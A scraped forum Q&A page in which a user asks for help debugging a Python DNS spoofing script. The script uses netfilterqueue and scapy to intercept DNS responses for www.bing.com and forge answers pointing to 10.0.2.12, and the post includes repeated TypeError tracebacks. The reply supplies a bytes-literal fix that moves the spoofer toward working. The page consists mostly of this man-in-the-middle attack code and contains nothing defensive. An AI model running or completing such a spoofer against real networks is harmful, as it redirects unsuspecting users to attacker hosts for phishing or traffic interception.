简体   繁体   中英

using Python 3 A byte-like object is required not a str" i have tried converting it into bytes but it still giving me the same error

import netfilterqueue import scapy.all as scapy

def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload())
    if scapy_packet.haslayer(scapy.DNSRR):
        qname = scapy_packet[scapy.DNSQR].qname
        website = 'www.bing.com'

        if website in qname:
            print("[+] Spoofing ")
            answer = scapy.DNSRR(rrname=qname, rdata="10.0.2.12")
            scapy_packet[scapy.DNS].an = answer
            scapy_packet[scapy.DNS].ancount = 1

            del scapy_packet[scapy.IP].len
            del scapy_packet[scapy.IP].chksum
            del scapy_packet[scapy.UDP].len
            del scapy_packet[scapy.UDP].chksum

            packet.set_payload(str(scapy_packet))
    packet.accept()

queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()

Exception ignored in: 'netfilterqueue.global_callback' Traceback (most recent call last): File "dns_spoofer.py", line 9, in process_packet if website in qname: TypeError: a bytes-like object is required, not 'str' Exception ignored in: 'netfilterqueue.global_callback' Traceback (most recent call last): File "dns_spoofer.py", line 9, in process_packet if website in qname: TypeError: a bytes-like object is required, not 'str' Exception ignored in: 'netfilterqueue.global_callback' Traceback (most recent call last): File "dns_spoofer.py", line 9, in process_packet if website in qname: TypeError: a bytes-like object is required, not 'str' Exception ignored in: 'netfilterqueue.global_callback' Traceback (most recent call last): File "dns_spoofer.py", line 9, in process_packet if website in qname: TypeError: a bytes-like object is required, not 'str' Exception ignored in: 'netfilter queue.global_callback' Traceback (most recent call last): File "dns_spoofer.py", line 9, in process_packet if website in qname: TypeError: a bytes-like object is required, not 'str' Exception ignored in: 'netfilterqueue.global_callback' Traceback (most recent call last): File "dns_spoofer.py", line 9, in process_packet if website in qname: TypeError: a bytes-like object is required, not 'str' Exception ignored in: 'netfilterqueue.global_callback' Traceback (most recent call last): File "dns_spoofer.py", line 9, in process_packet if website in qname: TypeError: a bytes-like object is required, not 'str' Exception ignored in: 'netfilterqueue.global_callback' Traceback (most recent call last): File "dns_spoofer.py", line 9, in process_packet if website in qname: TypeError: a bytes-like object is required, not 'str' ^CTraceback (most recent call last): File "dns_spoofer.py", line 25, in queue.run() KeyboardInterrupt

Try website = b'www.bing.com' . The b makes it a byte literal.

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM